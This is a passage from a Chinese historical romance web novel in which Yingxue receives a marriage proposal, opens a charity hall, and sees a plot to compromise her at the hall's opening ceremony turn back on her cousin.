大夫人福了福身，应声道：“是，老夫人，儿媳这就去筹备。”
映雪回到了映月阁，只见以江嬷嬷为首，院内的丫鬟、婆子们皆恭恭敬敬地向映雪请安，齐声说道：“给慧敏郡主请安，恭喜慧敏郡主。”映雪眉梢眼角尽是藏不住的喜悦，随口便道：“今日高兴，每人赏三个月的月钱，且都放一天假。”话音刚落，映月阁顿时一片欢声笑语。就连近日里沉稳的白芷，此刻也忍不住激动起来，脸上绽放出灿烂的笑容。
映月阁的这一消息传到了侯府的其它院子，各院主子听闻后，心思各异。侯府的下人们则个个羡慕不已，私下里纷纷议论着。
如意院里，大夫人阴沉着一张脸，端坐在椅子上。脚下跪着一个眼生的婆子，那婆子战战兢兢，正等着大夫人发话。大夫人寒着脸，目光凌厉地问道：“大哥莫不是被药铺的人给骗了吧？自己药没制好，吃坏了人，反赖到大哥的头上。”那婆子满脸愁苦，涕泪横流地哭丧着脸求情道：“姑奶奶，真的是方子有问题啊！起先老爷也不相信，还另外找了高人制药，可结果也是一样的。那高人说了，这方子有残缺。方子吃坏了人，那药铺也被人给砸了。现在药铺的东家找老爷要赔偿，老爷实在是拿不出那么多银子，这才让老奴来找您啊。”听了这婆子的解释，大夫人一时间也有些迷糊，分不清这方子究竟有没有问题。但眼下这情形，她也只能拿出银子来帮忙。于是，大夫人向王嬷嬷使了个眼色。不一会儿，王嬷嬷从内室走了出来，手中拿着一个盒子交给了大夫人。那盒子里装着三千两银票，这可是大夫人攒了好久才攒下来的。大夫人咬着牙，忍着心头的痛，让王嬷嬷把盒子递给了那婆子，并交待道：“我这儿只有三千两银票，再多就没有了，你让大哥自己想办法吧。”那婆子如获至宝般接过盒子，忙不迭地向大夫人行礼，随后被王嬷嬷送出了院子。
王嬷嬷回了屋子，只见大夫人气得胸口起伏，喘着粗气。王嬷嬷赶忙提醒道：“夫人，过几日府里要给侯爷办升迁宴，您是不是要提前准备了？”大夫人闻言，眼神瞬间亮了起来，兴奋地想着，办宴会可是个捞油水的好机会，且还有那些礼品，随便扣下两样，也值不少钱了。可一转眼，又想到刚刚送出去的那三千两银票，顿时肉疼得不行，脸色一冷，恨恨地说道：“别人献方，被封了郡主，我好意给了方子，好处没捞着，反倒惹了一身骚。”
王嬷嬷也觉得夫人倒霉，怕惹得夫人更心恼，便闭口不言。
待永安侯回了府，差人把映雪和苏璟皓唤到书房。永安侯先是对映雪称赞有加，随后将目光转向苏璟皓。他已有三个多月未曾见到长子，只见眼前的长子身姿挺拔，面容俊朗，双眸明亮，举手投足间尽显君子风范。
永安侯心中满是感慨，眼中盈满欣慰与自豪，微微动容道：“你们甚好，倘若你们的母亲能看到你们如今的模样，必定会为你们感到骄傲。”
闻言，苏璟皓瞬间红了眼眶，映雪虽对母亲毫无印象，但天生的母女之情，也让她略感伤怀，心想若是母亲在世，自己定是这京城最幸福的姑娘。
永安侯见两人陷入伤怀，赶忙转换话题，问起苏璟皓：“你把上折子的事再详细说与我听。”苏璟皓瞧了一眼映雪，见她正在出神，有些底气不足地向永安侯解释道：“父亲，瘟疫之事是妹妹发现的，折子也是我俩一同拟写的，是从书房找到您之前废弃的折子，模仿着写的。”永安侯这才恍然大悟，难怪呢，他原本就在想，儿子向来大大咧咧，又不懂医术，怎会知晓瘟疫之事，若是映雪，那就说得通了。而后，永安侯拍了拍苏璟皓的肩膀，笑道：“那你这赏赐得分你妹妹一半，你也是沾了你妹妹的光。”苏璟皓当即表态，说道：“赏赐我都留着给妹妹当嫁妆。”接着又道：“妹妹还送了我凝香居的一成股呢，我都花不完。”永安侯见兄妹俩如此要好，开怀大笑。
映雪突然插话问道：“爹爹，我听说世家最重要的底蕴皆是暗卫，咱们侯府为何不养暗卫？”
永安侯闻言，沉默片刻，平静说道：“这养暗卫绝非一日之功，永安侯府自你祖父手中建府，至今也不过才三十多年。养暗卫不仅需要耗
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费巨大的财力和人力，还得有值得信赖、精通训练之法的能人。而且暗卫的培养必须绝对隐秘，稍有不慎走漏风声，侯府便会面临灭顶之灾。”
闻言，映雪这才明白自己把事情想得过于简单了。她带着失望的语气说道：“我还以为可以从祖父手下那些残兵的后代中挑选呢，我知晓咱们侯府还在供养着那群人。”永安侯没想到映雪竟能想得如此深远，夸赞道：“难为你能考虑得这般长远，他们虽成不了暗卫，但也能成为永安侯府的家兵。”接着目光凝视远方，说道：“为父这一辈或许用不上暗卫，但你大哥定然能用上。”苏璟皓听闻，不禁激动起来。映雪也兴奋不已，意思是爹爹已经在着手准备了。映雪忍不住说道：“等我回去，我要仔细研究有没有练武能用到的秘药，届时给爹爹用。”
永安侯哈哈大笑，应道：“好。”
景阳侯府中，侯夫人细细地打量着已有一个多月未曾见到的儿子，心疼地说道：“黑了，也瘦了。”
许牧舟无奈地耸耸肩，说道：“娘，我是个大男人，黑了正好，这样更显得我有男子气概呢！”说罢，特意做了一个孔武有力的动作，逗得侯夫人忍不住噗嗤笑出声来，眼波流转间调侃道：“娘自是不管你，就怕小姑娘喜欢白净的，你要是自己不争气，媳妇被人抢了，可别怪娘没提醒你。”
许牧舟一听，便听出侯夫人话里有话，忙讨好道：“娘，你有话就直说。”侯夫人白了一眼许牧舟，缓缓说道：“之前我在豫亲王府碰见苏姑娘，看你静姨对待苏姑娘的态度，那是满心的欢喜，像是对她有意。要知道，豫亲王府的门第可比咱们侯府高多了。”说罢，便瞧见儿子的脸色瞬间变得难看起来。侯夫人却仿若未觉，接着又火上添油道：“前段时日，齐贵妃还特地召见了她，有意撮合她与三皇子呢。”
许牧舟的脸色此时更是黑如锅底，坐在那里，只觉如坐针毡，浑身都不自在。随即，他猛地起身，说道：“娘，我还有事，先回院子了。”说罢，便脚步匆匆地离开了主院。侯夫人望着儿子离去的背影，笑声如银铃般悦耳，透着几分得逞的快意。
叫你以往总惹我操心，如今自己该火烧眉毛了吧！
映月阁中，映雪正慵懒地侧卧在榻上，手中捧着一本书，津津有味地看着。这时，竹清走了过来，低声禀告道：“姑娘，如意院那边有个眼生的婆子从如意院匆匆带了个盒子出去，王嬷嬷还亲自送她出了府。”
映雪听闻，不禁一下子立正了身子，神色间多了几分警惕，问道：“不是侯府的婆子？”
竹清摇了摇头，回道：“看着不像。”
映雪微微蹙起眉头，思索片刻后猜测道：“那估计是江府的婆子，你继续盯着。”
竹清点头应下，然后退了下去。
42. 宅子
许牧舟回到临风轩，一想到那丫头的亲事竟被宫里关注，心中的怒火就蹭蹭往上冒，恨不得立刻把三皇子弄出府，先狠狠揍上一顿再说。如今那丫头风头正盛，倘若齐贵妃在皇上枕边吹吹风，让皇上直接下旨赐婚，那他可就真的难以应对了，到那时，玉佩的事情必定瞒不住。想到此处，许牧舟再也坐不住，当即起身，急匆匆地赶往太子府。
太子府中，太子正一脸慈爱地抱着三岁的郡主，耐心地教她识字。见到许牧舟风风火火地过来，眼中闪过一丝好奇，问道：“你怎么过来了？”说罢，轻柔地让嬷嬷把小郡主抱了下去。
许牧舟也不拘束，随意地往椅子上一瘫，给自己倒了杯茶，满脸郁闷地说道：“齐贵妃竟在打那丫头的主意。”
闻言，太子先是一愣，随即忍不住笑了起来，心想这愣头青开窍竟如此有趣，调侃道：“怎么？你还怕抢不过他去？”接着又道：“我听说，这苏姑娘才十四岁吧，就算成婚也要等上两年？你竟这般猴急？”
许牧舟抬头，瞥了一眼太子，看似随意地问道：“殿下可听说过，那丫头手上有一本治病秘方？”太子点了点头，神色似是不在意地说道：“听说过，这有何干系？”
许牧舟紧接着又道：“殿下可曾想过，或许殿下治病的机缘就在她手中。”
闻言，太子沉默了片刻，脸上的笑容渐渐收敛，随后又爽朗地笑道：“你可别告诉我，你是为了我才亲近苏姑娘的。”
许牧舟道：“殿下可别自作多情。”
太子拍了拍许牧舟的肩膀，道：“说吧，想让我怎么帮你？”
许牧舟也不客气，眼中闪过一丝凌厉，道：“既然齐贵妃闲着无事，自然该给她找些事来做。”
太子忍不住提醒道：“你可别太过了，别让父皇烦心。”
许牧舟微微颔首，应道：“这是自然。”
用过晚膳，映雪在院子里慢悠悠地踱步消食。待觉得腹中舒适了，便回了房间沐浴。
浴桶中热气腾腾，弥漫着淡淡的花香。映雪沐浴完毕，身着一袭宽松的衣袍走了出来，如瀑的黑发还滴着水珠。抬眼就见竹清恭恭敬敬地在屋内侯着，她以为是有如意院的消息，便迫不及待地问道：“如意院有消息了？”
竹清见竹韵拿着衣物走了出去，这才开口道：“姑娘，世子在静逸庐等您。”
映雪秀眉微蹙，心中纳罕不知许牧舟怎么选在这个时候约见她。她匆忙换了套衣裳，随便用帕子擦拭了头发，便将兵书和炼器书仔细地收在怀中，对着刚刚回来的竹韵说道：“我去一趟静逸庐，你忙完就先休息，不用等我。”
竹韵皱着眉头，一脸担忧地说道：“姑娘的头发还未干呢，怕是容易着凉，待奴婢先给姑娘把头发擦干。”
竹清也在一旁跟着附和道：“姑娘还是先擦头发吧。”
映雪想了想，觉得让许牧舟多等一会儿也无妨，谁叫他偏要在这个时候找自己，于是便安下心来，稳稳地坐了下来，说道：“那行，你来擦吧。”竹韵闻言，赶忙拿起一块干净柔软的棉布，轻柔地擦拭着映雪那如丝般的秀发。
待秀发彻底干透，竹韵手法娴熟地给映雪随意挽了个简约却不失秀美的发髻。映雪整理了下衣衫，便带着竹清往静逸庐而去。
映雪踏入屋内，还未来得及看清屋内的情形，许牧舟突然从房梁上纵身跃下，这突如其来的动静猛地吓了映雪一跳，嗔怪地瞪了一眼许牧舟。竹清见到自家主子，很是识趣地默默退到屋外，轻轻掩上了房门守着。
映雪定了定神，从怀里掏出那几本精心包裹着的书，没好气地递给许牧舟，说道：“喏，书都在这里了，你拿去吧。”
许牧舟却并未立刻接过书，而是打量着映雪的装扮。猜测她刚刚沐浴完毕，周身还未消散的淡淡香气仿佛带着某种蛊惑人心的魔力，让他不禁有些慌乱。许牧舟下意识地摸了摸鼻子，压低声音问道：“听说齐贵妃召你入宫了？”
映雪仿若未闻，直接把手里的书用力往许牧舟怀里一塞。许牧舟赶忙抬手抱住，慌乱之间碰到了映雪纤细的手指。那一瞬间，他只觉整个手臂仿佛被强烈的雷电击中，瞬间麻痹，动弹不得。紧接着，他的耳朵也以肉眼可见的速度变得通红。
映雪见此情形，心中也泛起一丝尴尬。随后，她定了定神说道：“齐贵妃有意想把我许给三皇子。”话音刚落，许牧舟急切地问道：“你怎么回话的？”
映雪的脸上泛起一抹红晕，心里却有些甜蜜，娇嗔道：“我又不傻，一入宫门深似海，况且那三皇子是个什么性子，我能不清楚？我自然是婉言拒绝了。”
许牧舟这才如释重负般松了一口气，可心中仍不敢完全放松，缓缓说道：“宫里若是选秀，你若未订亲，还是要参加的。现在你的亲事被多方关注，早日订下来才稳妥。”映雪又何尝不明白其中的道理，上次婉拒齐贵妃，倘若齐贵妃直接让皇上赐婚，那她就只能嫁了。想到这里，眉头微微蹙起，脸上也不禁流露出些许担忧之色。
许牧舟见映雪神情中满是忧虑，心一横，直接说道：“我让我娘请媒人来说亲，你可愿意？”这话一出，映雪的脸色瞬间如晚霞般羞红，她着实没想到许牧舟会这般直截了当。她慌乱地垂下头，心砰砰直跳，却没胆子直接应下，声如蚊虫般小声回道：“我的
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亲事由我爹做主，我听我爹的。”
许牧舟何等聪明，一下便听出了映雪的言外之意，意思是只要永安侯同意，她就愿意。他的心里顿时像吃了蜜糖般甜滋滋的，目光灼灼地看向映雪，那炽热的眼神仿佛要将映雪融化。映雪被他看得羞赧至极，恨不得立刻找个地洞钻进去，双手不自觉地绞着衣角。
许牧舟生怕自己炽热的目光把这小丫头吓跑，连忙收敛了神色，随后轻声问道：“你那慈善堂办得怎么样了？”映雪闻言，脸上顿时浮现出颇有些纠结的神情，说道：“方案已经定下了，人手也已安排妥当，只是地点还一直未定下来。我们看了好几处屋子，要不是地方不够宽敞，就是在京郊，实在是多有不便。”
许牧舟闻言不禁笑道：“这有何难，之前不就告诉过你，若有难处，可让暗一直接去景阳侯府找我吗？”接着又道：“我在城内倒是有一处宅子，明日带你过去看看，看看是否能让你满意。”
映雪也不忸怩，反正她做的这慈善功德，最后还是要便宜给许牧舟，让许牧舟出个宅子也没什么大碍，便爽利地同意下来。
许牧舟的宅子位于京城永乐坊的明月巷，此处富商云集，交通便捷，热闹非凡。那宅子足有五进之大，映雪瞧着，满意至极。可一想到突然多了这么个宅子，若是嘉柔和清平问起，她却不知该如何解释，不由迟疑道：“若是嘉柔和清平问起宅子的事，我该如何说？”
许牧舟听闻，不禁轻笑出声，缓声道：“你就说你让永安侯找了皇上，把一部分的赏赐换成了宅子不就行了。”
映雪闻言，眼眸瞬间一亮，心下暗道，自己怎么就没想到呢。随后兴奋地说道：“那我这就回府，给她们送信去，再约她们过来看宅子。”
许牧舟微微皱眉，说道：“那需要这样麻烦，你直接让丫鬟走一趟，我们去茶楼等不就行了。”映雪抬眸看了一眼许牧舟，犹豫着道：“怕是不方便吧？”许牧舟闷着气，回道：“放心，在我们亲事未定下来之前，定不会让你名声有损。”言罢，就直接吩咐竹清去一趟豫亲王府和康郡王府，随后朝着映雪喊道：“走吧，去雅茗居。”
映雪暗自猜测这雅茗居定也是许牧舟的地盘，忍不住羡慕道：“你铺子真多，我大哥名下可一个铺子都没呢。”许牧舟轻笑着，柔声道：“以后都是你的。”闻言，映雪顿时羞红了脸，娇嗔道：“谁要你的铺子，我自己也有。”许牧舟逗弄着说道：“好，那就留给我们的孩儿。”映雪的脸色瞬间如晚霞般羞红，气恼道：“谁要给你生孩子，胡说八道。”说着，赶紧拉着竹韵跑开了。
耳边还听见许牧舟的笑声，似是畅意之极。
43. 慈善堂
慈善堂的宅子确定下来后，后面的各项事宜便有条不紊地推进着。因这宅子的地方颇为宽敞，之前的方案还略作了些修改，被清晰地划分为前院、中院、后院、花园和学堂。
前院负责接待、登记，中院为仓储和厨房，后院则为住所，按男女严格区分，花园种了蔬菜瓜果，自给自足，学堂则是请了师傅教手艺的地方。
这次办慈善堂，嘉柔也得了豫亲王的支持，王府的下人个个手脚麻利，办事效率极高。才短短几天功夫，慈善堂就已布置完成。
为了提高慈善堂的知名度，吸引更多的人来支持和参与，映雪、嘉柔、清平三人围坐在一起商议，最终决定办个开堂仪式，并邀请各府夫人参加。
拴子与他母亲，还有那些一同住在破庙、无家可归的难民，如今都已从那破旧的庙宇搬到了慈善堂。之前被映雪救过的猎户李大牛，也被映雪妥当安排在慈善堂做事。老婆婆满心欢喜，对于儿子能参与到这桩善事中，那是极力支持，不仅如此，还从自家院子里精挑细选摘了好些新鲜的蔬菜，又抓了几只肥美的鸡、鸭过来，嘴里念叨着要给那些瘦弱的小童好好补补身子。映雪见此情景，一种自豪感自心底油然而生，脸上绽放出欣慰的笑容。
开堂仪式的邀请函被陆续送到京城某些府邸，收到请贴的府里，一得知这是风头正盛的慧敏郡主、嘉柔郡主以及清平县主一起开办的慈善堂，都纷纷迅速回了函，表示定会参加。且个个都以能收到邀请为荣，那些没收到邀请的则纷纷四处打听着，想方设法寻找关系，看能不能得到邀请函，在他们心中，要是能趁此机会，搭上永安侯府、豫亲王府和康郡王府的关系，那才是最为重要的。
永安侯府，荣晖堂，大家都听到消息，映雪办的慈善堂的开堂仪式声势浩大。这连苏沁雪都收到了玩伴的帖子，前来询问。苏沁雪气结，又不得不向映雪低头，正想开口问映雪，就听到了母亲的声音。
“映雪，你那邀请函再多准备两份，给你江外祖家，你大舅还捎了信来，说自家外甥女办的宴会，他都没收到邀请呢，说出去还惹人笑话。”
映雪心里冷笑，江家什么样大夫人自己没点数吗？平日里借永安侯府名头耍威风也就罢了，如今倒想着来攀附这慈善堂的名声。但映雪面上却不显，只淡淡应道：“母亲，这邀请函是我与嘉柔，清平三人一起商定的，都是有名望且有善举的府邸。毕竟我们举办仪式也是为了让更多的府邸能参与到这善举之中，想来他们此次也会酌情捐献。”接着又条理清晰地说道，“江府没一点符合，若是我私心邀请了江府，到时江府在捐献时损了名声，怕到时母亲又要怪罪了。”
大夫人闻言，一时有些气弱。要是让大哥在宴会上捐几百两银子，怕是不会愿意，要是没之前的赔偿也就罢了，现在让她贴几百两银子出来，她也不乐意。
映雪见大夫人不说话，自是明白大夫人无权替江府做决定，刚舒了口气，就听苏沁雪道：“三姐姐，我也有朋友找我要邀请函，关于捐赠之事，我自会跟她们讲明白，她们同意便给，想来三姐姐的慈善堂不会嫌人家给的多吧？”
映雪才拒绝了大夫人，不好再拒绝苏沁雪，不然显得太不近人情了，便笑道：“自然不会，那我和嘉柔她们打声招呼，再补三份请贴给到你。”神情大方得体，让大夫人也无话可说。接着又听映雪补充道：“只有三份，不能再多了，毕竟场地有限，且邀请的府邸要与慈善堂登记的府邸一样，不可私自转给他人。”
大夫人闻言，顿时觉得映雪最后一句话是针对她说的。她本还想从沁雪手上匀一份请贴给江府，可如今也不好开口。
苏沁雪见目的达到，自然乐意，对映雪谢道：“多谢三姐姐。”
老夫人望着眼前愈发明艳动人、光彩夺目的孙女，脸上满是自豪与欣慰。然而，思绪一转，又想起齐贵妃此前的盘算，不禁忧心忡忡。孙女如此优秀，有时却也并非全然是好事。此前曾与老大商议过映雪和璟皓的亲事，老大的意思是璟皓的亲事可以稍缓，而映雪的亲事最好尽早定下，以防生变。可这仓促之间，到哪里去找那门当户对，又能真心对待映雪的好人家呢？
永安侯的书房里，随从李福神色匆匆地进来禀报：“侯爷，镇国公府给您送了信来。”永安侯闻听此言，手中的笔陡然惊落，墨水溅出，染了一团污渍。他赶忙接过信件，仔细阅览起来。
只见信上乃是老镇国公约他喝茶，上面盖着老镇国公的印章，绝无虚假。
老镇国公出身于将门世家，曾与先皇并肩驰骋沙场，乃是大乾的开国功臣，亦是长公主的驸马，身份尊贵无比。先皇驾崩后，当今皇上在老镇国公的扶持之下，方才稳坐江山。因老镇国公年事渐高，已不在朝廷任职，但其影响力依旧不容小觑。他还是大乾战神景阳侯的岳丈。
永安侯府与镇国公府向来并无私交，镇国公府一向不与朝臣结交。如今永安侯突然收到老镇国公的信件，一时之间也是满心疑惑，摸不着头脑。他不敢耽搁，赶忙换了衣裳，匆匆出了侯府。
待永安侯回府后，脚下生风，径直朝着荣晖堂匆匆而去。老夫人坐在堂中，正悠然地品着茶，抬眼瞧见永安侯那红光满面的模样，眉眼之间尽是抑制不住的喜意，忍不住出声问道：“老大，瞧你这般欢喜，可是有什么天大的喜事？”
永安侯重重地点了点头，
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脸上的笑意愈发灿烂，朗声道：“母亲，今日老镇国公约我喝茶，说是要与咱们永安侯府结连襟之好，欲把映雪许配给景阳侯世子。”
老夫人闻言，当即放下了手中的茶杯，眉头微皱，迟疑着说道：“你可应下了？景阳侯府位高权重，人口简单，确实是极好的订亲对象。只是我听说那景阳侯世子不近女色，年近十九了，身边连通房都没有。”
永安侯摆了摆手，笑着解释道：“母亲，他那是洁身自好，和他父亲如出一辙。映雪若能嫁给他，那可是极好的归宿。且这次去中原赈灾，我与他也一起共事过，这满京城，翻来覆去也找不出比他更优秀的好儿郎了。”接着，他顿了顿，又道：“不过这亲事我没当场应下，总要先问过映雪的意见，也要亲口再问一下景阳侯世子。不知怎的，我总觉得老镇国公言外之意，似乎在提醒我映雪与那景阳侯世子是相识的。”
老夫人这才安心，抬手理了理鬓边的发丝，提醒道：“那等慈善堂开堂仪式办了后，你再问映雪，以免她为此分心。”
永安侯点头应下，眼中满是对这桩婚事的期许。
慈善堂的开堂仪式如期举行，侯府门外已准备好了几辆马车。
大夫人身着一袭绛紫色的华服，率先仪态万千地迈出侯府大门，在丫鬟的搀扶下，优雅地登上了为首的那辆马车。映雪则与苏沁雪登上第二辆，苏映蓉与向莞宜紧跟其后，苏秀蓉因已订亲，不方便出门，就陪老夫人留在了府里。
马车缓缓停下，众人依次下了车。大夫人一下车，便如同一只高贵的孔雀般，带着苏沁雪朝着各府夫人走去。与各位夫人寒暄着。苏映蓉则小心翼翼地紧跟其后。
映雪因着慈善堂诸多事务亟待处理，她只是朝各位夫人微微福身，浅笑着打了声招呼，便准备转身离去。向莞宜见此情形，赶忙快步追了上来，咬着嘴唇，一脸委屈地说道：“三表姐，我想与你一道，那些夫人我一个也不认识，心里直发慌。”
映雪脚步一顿，秀眉微蹙，心思流转。想到此次受邀的府邸中，赫然有着宁诚侯府，或许陈煜安也会前来。她也正想瞧瞧他们会不会在这个场合搞出什么幺蛾子，于是顺水推舟答应下来，神色郑重地说道：“那行，你就跟着我吧，不要乱跑。”
向莞宜闻言，脸上瞬间绽放出笑容，欢快地应道：“表姐放心，我一定乖乖听话。”
慈善堂的开堂仪式可谓热闹非凡，人声鼎沸。豫亲王妃因咳嗽好转，此次竟也亲自前来支持，为这一场盛事增添了不少光彩。
待宾客们皆已到齐，主事人款步上台。只见他神情庄重，目光坚定，先是朝着台下众人深施一礼，随后缓声宣讲道。
44. 脏污
“诸位贵客，今日本慈善堂开堂，此乃顺应大乾仁善之风、扶危济困之善举。旨在为大乾那些身处困境的穷苦百姓送去温暖与希望，为那些在生活艰难中挣扎的鳏寡孤独点亮明灯。战士们为保护大乾的安宁，浴血奋战，而我们身处繁华，虽赴不了战场，但也想为大乾尽些绵薄之力，愿今后的大乾能幼有所养，老有所依，繁荣而昌盛。”主事人声音洪亮，言辞恳切。
接着，主事人又详细介绍了慈善堂的运作方式和未来的规划。他目光炯炯，声音洪亮而坚定：“我们将以公正、透明为准则，精心管理每一份善心捐赠。所有物资与款项的收支，皆会记录在册，定期公示，确保善款善用。”紧接着又道，“我们会定期组织义诊，为患病的穷苦百姓提供免费的医药。还会开设技堂，让那些有一技之长的人能够传授技艺，帮助更多的人获得谋生的手段，得以自食其力。同时，我们也会为无家可归之人提供住所和食物。让那些在风雨中漂泊的灵魂，能有一个温暖的安身之所，让他们饥肠辘辘时，能有一口热饭果腹。”
此时，豫亲王妃面带微笑，缓声开口，道：“如此善举，实乃我等之福。本妃也愿尽绵薄之力，助慈善堂越办越好。”
众人又是一阵附和，一时间，赞叹声此起彼伏。
整个场面热闹非凡，就在这时，一个丫鬟神色慌张，急匆匆地从后院跑了出来，脚步踉跄，发髻都有些散乱。恰好被向莞宜瞧见，她赶忙扯了下映雪的袖子，伸出手指着那丫鬟，压低声音道：“三表姐，你看后院是不是有什么事？”
映雪闻声转头，只见那丫鬟满脸惊慌失措，眉头瞬间皱起，随后，不动声色地从人群中悄悄退了出来。向莞宜见状，紧紧跟在其后。
那丫鬟也瞧见了映雪，眼睛顿时亮了起来，像是在黑暗中遇到救星般，朝着映雪飞奔而来。到了近前，她气喘吁吁地福身行礼，声音带着颤抖道：“苏姑娘，后院有个大婶突然发了急症，满脸青紫，浑身抽搐，看起来很危险。”
映雪闻言，心中也顿时“咯噔”一下，紧张起来。慈善堂今日才开堂，并未正式接收人员，目前只住了几个从破庙搬过来的难民。她深知此事非同小可，万一出了人命，慈善堂的声誉将受到极大影响。
映雪当机立断，赶紧吩咐一旁的竹韵道：“你去找一下县主，让她尽快安排一个大夫过来，动作要快！”竹韵闻言，眉头紧紧皱起，似是满心不放心，说道：“姑娘，你等竹清来了再去吧。”
竹清被映雪安排了事情，此刻还没回来。向莞宜对着竹韵甜甜一笑，说道：“竹韵姐姐，有我陪着三表姐呢，你就放心吧。”
竹韵没有立刻回话，目光忧虑地瞧了瞧映雪，见映雪轻轻点头，这才回道：“那就麻烦表姑娘了。”说罢，向映雪福了福身，转身匆匆离去，身影很快消失在人群之中。
接着，映雪带着向莞宜跟在那丫鬟身后，一同前往后院。后院用高高的砌墙分隔成了两个区域，左边是男院，右边是女院。此时，后院显得格外冷清，由于目前后院居住的人寥寥无几，一路走来，几乎看不到半个人影，只有萧瑟的风声在耳边吹拂。
直到渐渐走近患者的住所，才终于见到其他几人。她们都聚集在一起，神色惊慌失措，其中甚至有人被吓得大哭起来，待见到映雪到来，众人仿佛见到了救命稻草，纷纷向映雪求救。映雪此刻也顾不得自己的身份，疾步上前，坐在患者身旁，仔细地替患者诊脉。经过这两个月来的潜心研究，映雪对医术已然有了一定的了解。
待映雪细致地诊断之后，心中有了判断，像是中毒所致。映雪赶忙从身上解下荷包，从中拿出一粒药丸，递给那丫鬟说道：“快，把这粒药丸塞进患者嘴里。”不一会儿，患者便呕吐起来，秽物的酸臭气息瞬间弥漫在空气中。但随后，患者的呼吸就逐渐趋于平缓，情况明显有所好转。
见患者稳定下来，映雪这才松了一口气，对丫鬟交代道：“你先留下来，等大夫过来，我先走了。”丫鬟连连点头应下，向映雪福了福身。
映雪出了屋子，向莞宜顿时惊叫道：“呀，表姐，你的裙子上有脏污。”映雪下意识地低头一看，只见自己那浅粉色的裙摆上，沾染了几点黄色的脏污，格外显眼，想必是刚才那位大婶的呕吐物不小心溅到了。她不由得皱起了眉头，说道：“我去客房处理下，表妹，你去帮喊竹韵过来。”慈善堂的后院是有留一间客房的，为了方便偶尔有需要的人暂时歇脚。
前院，仪式即将结束，嘉柔左顾右盼，迟迟不见映雪的身影，便着急地向清平问道：“映雪姐姐怎么还没过来，这边都要结束了。”清平皱着眉头，神色略显担忧地说道：“后院有个大婶突发急症，我已经安排了大夫过去，她估计是有事耽搁了。”话音刚落，就见向莞宜神色匆匆地跑了过来，而后在永安侯夫人耳边快速地说了几句话，嘉柔满心好奇，连忙拦住了正要离开的向莞宜，问道：“你不是和映雪姐姐在一起吗？映雪姐姐呢？”向莞宜脸上闪过一丝犹豫，顿了顿才道：“表姐的裙子上不小心沾了些脏污，在客房等竹韵，我出来找她。”说罢，匆匆向两人告退，脚步慌乱，像是有着什么急事。
等仪式结束，映雪依旧还未过来。紧接着，就见永安侯夫人身后还跟着几位衣着华丽的夫人，她们面色凝重，一同向后院走去。嘉柔和清平两人对视一眼，眼
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中满是疑惑，也赶忙跟在了后面。
待众人到了后院，只见那客房的门依旧紧闭着，大夫人望着那扇门，脸上露出些许迟疑之色，随后吩咐身边的丫鬟道：“你去敲门，看三姑娘在房里吗？”丫鬟恭敬地点头，快步向前走去，抬起手轻轻敲门。然而，只见里面毫无回应，丫鬟不由得加大了力度，依旧是一片寂静。她试着用力推了推门，却发现门从内反锁了，无奈只能转过头来，眼神中带着请示，等待大夫人发话。
大夫人的脸上似是有些为难，神情纠结。一旁的夫人见状提议道：“去叫两个婆子把门撞开吧，若是三姑娘真在里面，这么久没回应，怕不是在里面睡着了吧？”大夫人带着歉意，微微欠身说道：“各位夫人先去前厅吃点心吧，若真是映雪在里面睡着了，被各位夫人瞧见她睡着的窘样，估计没脸见各位夫人了。”那些夫人彼此交换着眼神，心中都清楚这明显是苏三姑娘被人算计了，怎会乐意离开，一时间场面都充斥着劝言，嘈杂纷乱。
正在这时，后方传来一道清脆悦耳的声音，穿过众人的耳畔：“大家怎么都聚在这里呢？我刚去前院，见人都不在了，问了丫鬟，才得知你们都来了此处。”
众人纷纷回头，正是映雪，身后还跟着竹清。嘉柔满心欢喜地朝映雪快步跑了过去，急切地问道：“映雪姐姐，你去哪了？永安侯夫人带人来客房找你呢。”映雪对嘉柔轻轻一笑，似是安慰。而后，转头看向大夫人，大夫人似是松了口气，说道：“你没事就好，刚莞宜那丫头过来找竹韵，说你在客房等她，母亲见你迟迟不见，担忧你，过来瞧瞧。”映雪微微挑眉，反问道：“哦，担忧我，还带了这么多夫人过来瞧我。”大夫人有些尴尬地解释道：“这些夫人对慈善堂的布局很有兴趣，所以顺道过来瞧瞧。”说罢，其它夫人也纷纷笑着替大夫人打起圆场来，一时间气氛稍显缓和。
大夫人柔声笑道：“既然你无事，那就跟母亲一道，带着各府的夫人在慈善堂转转吧。”
映雪看了一眼客房的门，眼中满是疑惑，说道：“门是被反锁了吗？我之前见这门并未关呢，怎么会被反锁？”
嘉柔也跟着附和道：“刚你母亲的丫鬟还用力推了，门都没被推开呢，想来是里面反锁了。”
映雪脸上露出惊奇的神色，说道：“那就怪了，莫不是里面藏了贼？”说罢，朝竹清果断吩咐道：“你去看看。”
竹清二话不说，大踏步朝屋门走去。只见她抬起右腿，迅猛而有力地狠狠一踹。“砰”的一声巨响，门被瞬间踹开，众人还来不及问映雪从哪找的丫头，这么大的力气，随后就听到一道尖锐的女声，惊恐地惊叫起来：“啊！”
45. 陷害
屋内景象也在众人眼前缓缓展现，只见房内那雕花的床榻上躺着一位身着华服的男子，床边上趴着一女子。听到女子的惊叫声，男子这才悠悠转醒，众人定睛一看，正是宁诚侯世子陈煜安与向莞宜。
各府夫人顿时交头接耳，窃窃私语起来。“没想到这宁诚侯世子看着道貌岸然，私底下的形为竟这样放浪，亏得她们还把他当成京城佳婿呢！”一位夫人压低声音说道，脸上满是失望与嫌恶。
一旁的宁诚侯夫人，气得脸色铁青，嘴唇颤抖着对着陈煜安道：“怎么回事？”陈煜安向四周打量了一番，随后皱着眉头，一脸无辜地道：“母亲知道，我一向有头疾，刚在前院突然头疾发作，怕惊扰到大家，就找了个下人询问，对方给我指了这间客房，让我稍作休息。”接着顿了顿，也是满脸的疑惑，道：“进屋后我就躺在床上睡过去了，直到刚才听见尖叫声，这才醒过来。”说罢，又瞧了一眼向莞宜，问道：“这位姑娘怎么回事？”
宁诚侯夫人闻言，眼中满是讥讽，冷笑道：“还能怎么回事，怕是尾随你进了屋，想攀高枝吧，不然怎么会在门被撞开了才叫起来。”其它夫人也纷纷点头赞同，方才她们也瞧得清楚，陈世子确实是在听见那尖叫声后，才悠悠转醒的。
大夫人的脸色此时难看到了极点，对着向莞宜怒喝道：“究竟怎么回事？”向莞宜只是低着头，呜呜地哭了起来，肩膀不停地颤抖，哭得梨花带雨。
映雪见状，微笑着打了个圆场，道：“各位夫人，今日多谢各位前来捧场，我与嘉柔郡主，清平县主，在琼华阁设了宴，答谢各位，我们先去琼华阁，边赏曲子边聊天吧。”
众人闻言，脸上纷纷露出惊喜之色，各种好话如潮水般涌向映雪、嘉柔和清平三人。
